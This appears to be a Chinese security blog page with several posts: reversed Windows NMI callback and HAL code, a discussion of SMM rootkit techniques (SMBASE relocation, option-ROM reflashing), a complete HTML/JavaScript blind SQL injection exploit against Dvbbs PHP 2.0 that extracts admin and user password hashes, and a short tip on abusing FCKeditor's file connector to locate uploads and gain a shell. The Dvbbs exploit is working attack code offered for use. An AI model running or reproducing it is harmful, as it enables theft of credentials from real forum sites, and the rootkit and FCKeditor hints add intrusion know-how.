PVOID _KeRegisterNmiCallback( IN PNMI_CALLBACK CallbackRoutine,IN OPTIONAL PVOID Context ){PVOID result;PKNMI_CALLBACK_RECORD pKNmiCallbackRecord;KIRQL OldIrql;result = ExAllocatePoolWithTag(0, 16, 'IMNK');pKNmiCallbackRecord = (PKNMI_CALLBACK_RECORD)result;if ( result ){pKNmiCallbackRecord->CallbackRoutine = CallbackRoutine;pKNmiCallbackRecord->Context = Context;pKNmiCallbackRecord->CurCallBackRecord = result;OldIrql = KfAcquireSpinLock(&KiNmiCallbackListLock);pKNmiCallbackRecord->PreCallBackRecord = gKiNmiCallbackListHead;InterlockedCompareExchange( (PLONG)&gKiNmiCallbackListHead, (LONG)pKNmiCallbackRecord,(LONG)gKiNmiCallbackListHead );KfReleaseSpinLock(&KiNmiCallbackListLock, OldIrql);result = pKNmiCallbackRecord->CurCallBackRecord;}return result;}NTSTATUS _KeDeregisterNmiCallback(PVOID Handle){KIRQL OldIrql;PKNMI_CALLBACK_RECORD *tmpCallBackRecord;PKNMI_CALLBACK_RECORD CurCallBackRecord;NTSTATUS result;CurCallBackRecord = (PKNMI_CALLBACK_RECORD)gKiNmiCallbackListHead;OldIrql = KfAcquireSpinLock(&KiNmiCallbackListLock);tmpCallBackRecord = &(PKNMI_CALLBACK_RECORD)gKiNmiCallbackListHead;if ( !gKiNmiCallbackListHead ){KfReleaseSpinLock(&KiNmiCallbackListLock, OldIrql);result = 0xC0000008; return result;}do{if ( (ULONG)(CurCallBackRecord->CurCallBackRecord) == (ULONG)Handle )break;tmpCallBackRecord = (PKNMI_CALLBACK_RECORD*)CurCallBackRecord;CurCallBackRecord = *(PKNMI_CALLBACK_RECORD*)CurCallBackRecord;}while ( CurCallBackRecord );if ( CurCallBackRecord && (ULONG)(CurCallBackRecord->CurCallBackRecord) == (ULONG)Handle ){*tmpCallBackRecord = *(PKNMI_CALLBACK_RECORD*)CurCallBackRecord;KfReleaseSpinLock(&KiNmiCallbackListLock, OldIrql);ExFreePoolWithTag(CurCallBackRecord, 'IMNK'); result = 0;}else{KfReleaseSpinLock(&KiNmiCallbackListLock, OldIrql); result = 0xC0000008;}return result;}

其中,gKiNmiCallbackListHead是系统的一个全局变量,它指向最后注册的CallBackRecord,以反向的链表把所有的CallBack连接起来.正如MSDN中描述的:
When a nonmaskable interrupt occurs, the system calls each registered callback in reverse order from the order in which they were registered.
For the first callback, the system passes FALSE as the Handled parameter. For each subsequent callback, if any previous callback returned TRUE, the system passes TRUE as the Handled parameter, otherwise it passes FALSE.
If any callback returns a value of TRUE, the system considers the interrupt to have been handled.
Otherwise, the system calls the HAL's default handler for the interrupt, which normally causes the system to bug check.

正如前面的反汇编代码,NMI处理的流程大致为KiSystemStartup -> _KiTrap02 -> KiHandleNmi -> HalHandleNMI.把其他两个函数的代码也还原如下:

BOOLEAN _KiHandleNmi(){PKNMI_CALLBACK_RECORD CurCallBackRecord;BOOLEAN nmiHandled;CurCallBackRecord = gKiNmiCallbackListHead;nmiHandled = FALSE;while ( CurCallBackRecord ){nmiHandled = (CurCallBackRecord->CallbackRoutine)(CurCallBackRecord->Context, nmiHandled) | nmiHandled;CurCallBackRecord = CurCallBackRecord->PreCallBackRecord;}return nmiHandled;}

HalHandleNMI比较长,加了点注释:

void _HalHandleNMI(PVOID NmiInfo){UCHAR EISAExNmiStatus;UCHAR PortNmiStatus;UCHAR EisaPort;PUCHAR Port;UCHAR EisaNMIMsgBuff[28];ULONG i;HalpNMIInProgress = 1;HalpDoingCrashDump = 1;EisaPort = READ_PORT_UCHAR((PUCHAR)0x61); // 0x61 -> SYSTEM_CONTROL_PORT_Bif ( (unsigned __int8)InbvIsBootDriverInstalled() ){InbvAcquireDisplayOwnership();InbvResetDisplay();InbvSolidColorFill(0, 0, 639, 479, 4);InbvSetTextColor(15); InbvInstallDisplayStringFilter(0);InbvEnableDisplayString(1); InbvSetScrollRegion(0, 0, 639, 479);}HalDisplayString("\n*** Hardware Malfunction\n\n");HalDisplayString("Call your hardware vendor for support\n\n");if ( EisaPort & 0x80 )HalDisplayString("NMI: Parity Check / Memory Parity Error\n");if ( EisaPort & 0x40 )HalDisplayString("NMI: Channel Check / IOCHK\n");if ( HalpBusType == 1 ) // #define MACHINE_TYPE_EISA 1{EISAExNmiStatus = READ_PORT_UCHAR((PUCHAR)0x461); // 0x461 -> EISA_EXTENDED_NMI_STATUSEisaPort = EISAExNmiStatus;if ( (char)EISAExNmiStatus < 0 )HalDisplayString("NMI: Fail-safe timer\n");if ( EisaPort & 0x40 )HalDisplayString("NMI: Bus Timeout\n");if ( EisaPort & 0x20 )HalDisplayString("NMI: Software NMI generated\n");EisaPort = 1;port = (EisaPort << 12) + 0xC80;do {WRITE_PORT_UCHAR(Port, 0xFF);if ( (char)READ_PORT_UCHAR(Port) >= 0 ){PortNmiStatus = READ_PORT_UCHAR(Port + 4);if ( PortNmiStatus & 0x2 ){if ( PortNmiStatus != 0xFFFFFFFF ){ // EisaNMIMsg[]: "NMI: Eisa IOCHKERR board %\n"memcpy(EisaNMIMsgBuff, &EisaNMIMsg, sizeof(EisaNMIMsgBuff));i = 0;if ( EisaNMIMsgBuff ){while ( EisaNMIMsgBuff[i] != '%' ){++i;if ( !EisaNMIMsgBuff[i] )goto DisplayMsg;}EisaNMIMsgBuff[i] = (EisaPort > 9 ? 'A'-10 : '0') + EisaPort;}DisplayMsg: HalDisplayString(EisaNMIMsgBuff);}}}++EisaPort; Port += 0x1000;} while ( EisaPort <= 0xF );}HalDisplayString("\n*** The system has halted ***\n");if ( HalpNMIDumpFlag ) //Registry\Machine\System\CurrentControlSet\Control\CrashControlKeBugCheckEx(0x80, 'ODT', 0, 0, 0);if ( !KdDebuggerNotPresent ){if ( KdDebuggerEnabled )KeEnterKernelDebugger();} while ( 1 );}

有 意思的是HalpNMIDumpFlag这个全局标志,它决定了NMI触发而且要Crash系统的时候是否生成 dump[3].其实就是注册表的这个位置:HKEY_LOCAL_MACHINE\System\CurrentControl
Set\Control \CrashControl,CrashDumpEnabled设置为2,NMICrashDump设置为1.这个可以为服务器生成dump以调试,比如 DELL PE2850,设置好BISO允许使用NMI Button后,你只要按下机器上的NMI按钮就可以了.

todo...
排版太难受,要详细写的也搞的不想写了,以后再更新:)
________________________________________
[1] http://en.wikipedia.org/wiki/Interrupt_descriptor_table
http://wiki.osdev.org/GDT_Tutorial
[2] http://advdbg.org/blogs/advdbg_system/articles/409.aspx
[3] http://www.microsoft.com/whdc/system/sysinternals/dmpsw.mspx
[4] Nice Links:
http://bbs.pediy.com/showthread.php?p=417908

分类: 技术文章 标签:

About the SMM rootkit

2008年10月14日 没有评论 74 views

来源:SoftRCE.net

其实SMM是早在97年就有的东西,我跟这个东西也算是有点渊源,之前在实验室做过一些关于这个的研究,但是远没有到rootkit的方向.之后在逛网站的时候发现一篇5.12时候的新闻:Researchers dig into x86 chips for stealthier rootkits,然后才重新回头去看了这个东西,也隔天就写了篇分析.不过功力尚浅,很多东西在Win32平台到现在我实验着还是有问题的.

SMM类似ICE,ICE是一种硬件调试机制,也是深入到CPU级别的最根本的调试,但是ICE在Intel公司对CPU的改革过程中变成了现在的Branch Trace(tr12)[1],而SMM也继承ICE的实现方式(但并不是直接的"复制")独立成为新的机制,主要处理ACPI,详细的介绍看后面的[注][2].AMD 稍微显得逊色一些,之前的CPU版本可以利用XX软指令去改DR7,也就是说基本是ICE的直接复制.Intel也显示出优越性,一来Intel的SMM 是不支持调试触发的,因为Intel把SMM和ICE分开了,再者Intel的SMM也不支持微处理器的指令触发,只能由硬件中断(CPU,ACPI)来 引发.我也提到过一个很好的物理方法,就是用信号发生器和频率源去接芯片引脚... :)

由于太过于依赖硬件,CPU的支持很大程度上决定 了SMM的实现方式,而且不同的主板公司(主要是BIOS)也可以实现不同的SMI处理例程,在之前(2008.5.12)我个人觉得要做成 rootkit还是有不少问题的.由于SMM的特殊性:CPU不管是怎么切换,由SMI进入SMM或者由RSM切回保护模式,都是悄然无声的,OS是"不 知道"的.SMI handler是在POST的时候安装到SMRAM里的.要想rootkit,肯定要想办法遛进SMM.当时也很怀疑Sparks是不是要在类BSD系统 上演示,因为相对来说,WIN32更加的困难,有很多的限制,一方面和硬件关联太多,一方面又要PIO操作权限又要内存操作权限,不好处理.

要 在正常模式下做成rootkit,首先就要保证控制寄存器位的置位(D_OPEN),因为如果D_CLK位打上去的话,只读了,就失效了.想办法进 SMRAM?HSEG(正常系统模式下,0xa0000-0xbffff这段内存是给某些显卡的)看起来remap也不那么简单,位被限制的很死,而且一 旦到了Above段,更是一碰就挂...那就是想办法更改SMI Handler了,不过这个比较好检测,AV只要定时检查就能知道是不是有handler被修改了.要不然就是通过BIOS,那就更是多此一举,那么多驱 动要BIOS CALL,可以修改BISO直接就搞了[思路上就是动比如bus0-dev1-func0-0x30/33这几个寄存器,PCI配置头它们指示的是 expansion rom,会被map到比如0xC0000,刷进去,然后想办法hook int,10号或者其他号,10号想必大家都清楚,VGA小端口会调用比如Ke386CallBios交回控制权.这里还涉及一些VM86的东西,公开的 未公开的.推荐一下VBEMP x86 Project :) 做为副产品,你可以从里面得到关于以上东西的一些灵感.至于Re-flash,这个就不多说了,IO方法很多],但是通过BIOS也可以给SMM-RK做 个引子.

不过既然Sparks要在BH上演示,也只好要拭目以待,可惜的是,她在BH上的演讲并没有什么让我觉得为之一亮的地方.因为在BH之前PHRACK爆出的一篇文章里把基本的内容都含盖了:System Management Mode Hack .

Paper 里提到触发SMI是通过存取PCI配置寄存器(其实可以衍生出不少方法,比如APM.),类BSD系统上的.PIO 0xCF8-0xCFF,如果是新的PCI-Express MMIO更简单.Paper里只是简单提了下Code relocation,其实这个特性很强大.你可以修改state save map里的SMMBASE值,完成一些隐蔽工作.但是这里可能会有点问题,因为我在这里挂起了很多次.就是如果你需要装进DS,需要在SMM handler里自己从state save map里读出descriptor cache结构体的里CS段的地址值,shr 4后给DS,这样才是指向了重定位后的SMMBASE.其他的值也是一样,你可以修改CRx,CS,EIP,EFLAGS以及CPL(SS.DPL),来 实现模式切换(这个很有价值). 关于中断,SMM处理中断并不像Intel手册说的.先看看paper里的2.4.2 - SMM Details这一小节,其实中断确实会被屏蔽,但是paper里的"To enable that is needed to issue the IRET/IRETD instructions" 是不对的, 至少我没成功,我的方法是设置硬件中断例程[timer kick]. 后面又提到code relocation后会出现很多莫名其妙的问题,其实这个和前里提到的一样, CS:IP也需要你手动修改,取SMRAM里的SS,CS值,shr 4然后push入栈,取esp,retf就可以了.

todo... (原文在: http://hi.baidu.com/gz1x)

注:
[1] http://bbs.pediy.com/showthread.php?t=66975
[2] http://en.wikipedia.org/wiki/System_Management_Mode
http://www.biosren.com/thread-29-1-1.html
[3] Nice Links:
[如何跟踪ACPI代码] http://advdbg.com/blogs/advdbg_system/articles/14.aspx

分类: 技术文章 标签:

Dvbbs·php Version 2.0++ Blind SQL Injection

2008年10月13日 没有评论 44 views

<html>
<head>
<title>Dvbbs·php Version 2.0++ Blind SQL Injection Exploit</title>
<script language="Javascript" type="text/javascript">
/*
----------------------------------------------------------------------------------------------
- DVBBS PHP 2.0 Forum Blind SQL Injection Exploit   -
- Info ---------------------------------------------------------------------------------------
- Author: oldjun -----------------------------------------------------------------------------
- Exploit Coded By T00LS.NET -------------------------------------------------------------
- Site: http://www.t00ls.net ----------------------------------------------------------------
----------------------------------------------------------------------------------------------
*/
function myrefresh()
{
   window.location.reload();
}
function makewhat(x){
var whereto=new Array(2)//新建一个数组,项数为第一个下拉列表的项数
for(i=0;i<2;i++)//循环第一个下拉列表的项数那么多次
       whereto[i]=new Array();//子循环
       //下面是给每个循环赋值
         whereto[0][0]=new Option("后台密码","0");
         whereto[0][1]=new Option("后台用户名","1");
         whereto[0][2]=new Option("关联前台用户名","2");
         whereto[1][0]=new Option("前台密码","3");
         whereto[1][1]=new Option("前台用户名","4");
var what=document.form.what;//方便引用
for(m=what.options.length-1;m>0;m--)
//这个要看清楚,因为要重新填充下拉列表的话必须先清除里面原有的项,清除和增加当然是有区别的了,所以用递减
       what.options[m]=null;//将该项设置为空,也就等于清除了
for(j=0;j<whereto[x].length;j++){//这个循环是填充下拉列表
       what.options[j]=new Option(whereto[x][j].text,whereto[x][j].value)
       //注意上面这据,列表的当前项等于 新项(数组对象的x,j项的文本为文本,)
}
what.options[0].selected=true;//设置被选中的初始值
}
function submitForm(){
if (pass!=""){
alert("please refresh this page and try again!");
setTimeout('myrefresh()',1000); 
return false;
}
var host= document.getElementById("host").value;
var userid = document.getElementById("userid").value;
//后台
if(document.form.where.value==0){
var params ="?t=9&action=join&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/id="+userid;
}else{
//前台
var params ="?t=9&action=join&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_user/**/where/**/userid="+userid;}
var url = host+"/topicother.php"+params;
document.getElementById("md5hash").innerHTML = "Exploiting, Please Wait..";
var p="temp";
var w=document.form.what.value;
alert('Now begin to exploit!');
sendCall('1','48',url,w,p);
}
</script>
</head>
<body>
<font color=#CC0000>-Dvbbs·php Version 2.0++   Blind SQL Injection Exploit -</font>
<p><p>
<form name="form" action="" method="post">
<TABLE>
<TR>
<TD>host</TD>
<TD><INPUT TYPE="text" NAME="host" id="host" value="http://www.t00ls.net" size="30px">(URL to Dvbbs Php Forum Site: http://www.t00ls.net/bbs)</TD>
</TR>
<TR>
<TD>userid</TD>
<TD><INPUT TYPE="text" NAME="userid" id="userid" value=1 size="30px">(UserID of the user you want to get the information)</TD>
</TR>
<TR>
<TD>where</TD>
<TD>
<select name="where" size="1" onchange="makewhat(options.selectedIndex)">
<option value="0" selected>后台</option>
<option value="1">前台</option>
</select>(front or back)
</TD>
</TR>
<TR>
<TD>what</TD>
<TD>
<select name="what">
<option value="0">后台密码</option>
<option value="1">后台用户名</option>
<option value="2">关联前台用户名</option>
</select>(what do you need,don't support Chinese username)
</TD>
</TR>
<TR>
<TD>
</TD>
<TD>
<INPUT TYPE="button" name="submit" value="Exploit" onclick="submitForm();"></TD>
</TR>
</TABLE>
</form>
<div><font color=red><B>Output (whole username or MD5 Hash of password):</B></font><span id="md5hash"></span></div>
<hr>
Browser support: [IE7.0|IE6.0] [FF2.0]
<p>
Coded by T00LS.NET
<script language="javascript">
var xmlHttp;
var pass;
pass="";
function sendCall(i,j,url,w,p) {
if (p=="temp"){p=url}
//以下用户名暂不支持中文...
//后台密码、用户名、关联的前台用户名
switch(parseInt(w)){
case 0:url = p+"/**/and/**/ascii(mid(password,"+i+",1))="+j+")/**/";break;
case 1:url = p+"/**/and/**/ascii(mid(username,"+i+",1))="+j+")/**/";break;
case 2:url = p+"/**/and/**/ascii(mid(adduser,"+i+",1))="+j+")/**/";break;
//前台密码、用户名
case 3:url = p+"/**/and/**/ascii(mid(userpassword,"+i+",1))="+j+")/**/";break;
case 4:url = p+"/**/and/**/ascii(mid(username,"+i+",1))="+j+")/**/";break;
}
if (window.ActiveXObject) {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
} else if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
//解决FF中跨域问题
try{ 
       netscape.security.PrivilegeManager.enablePrivilege( "UniversalBrowserRead "); 
   } catch (e) { 
       alert( "Permission UniversalBrowserRead denied. "); 
   } 
}
xmlHttp.onreadystatechange = function() {
if(xmlHttp.readyState == 4 && xmlHttp.status ==200) {
var str = xmlHttp.responseText;
//alert(str);
var md5hash=document.getElementById("md5hash");
//if(str.match(/\u8bf7\u767b\u9646\u540e\u64cd\u4f5c/)) {
if(!str.match(/\u672c\u6d3b\u52a8\u62a5\u540d\u4eba\u6570\u5df2\u6ee1/)) {
pass += String.fromCharCode(j);
md5hash.innerHTML = pass;
j = 48;
i++;
}
//如果检测用户名,直接使用else {j++; }
else {
if(j == 59&&(parseInt(w)==0||parseInt(w)==3)) {&n
bsp;j = 96; }
else { j++; }
}

if(pass.length >= 16) { alert("Exploitation Successfull!. Admin MD5 Hash(or username): "+pass); return true; }
sendCall(i,j,url,w,p);
}
}
xmlHttp.open('GET', url, true);
//xmlHttp.setrequestheader('Content-Type','text/html; encoding=gb2312');
//xmlHttp.setRequestHeader("Connection", "close");
xmlHttp.send(null);
}
</script>
</body>
</html>



分类: 技术文章 标签:

遨游原来可以这么玩

2008年10月13日 没有评论 41 views

开启遨游浏览器的嗅探功能,选择所有文件

通过嗅探得到

http://www.xxx.com/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFolders&Type=Image&CurrentFolder=/

地址

然后在遨游里打开此地址得到
 

熟悉网页程序人一看就知道,这个是Xml!没错!Fck利用xml来列出文件,利用xml的可显性,就为我们的入侵提供的方便!

上面的,很明显的告诉我们当前上传文件所处网站相对路径

然后顺利得到shell一枚!

 

 

分类: 技术文章 标签: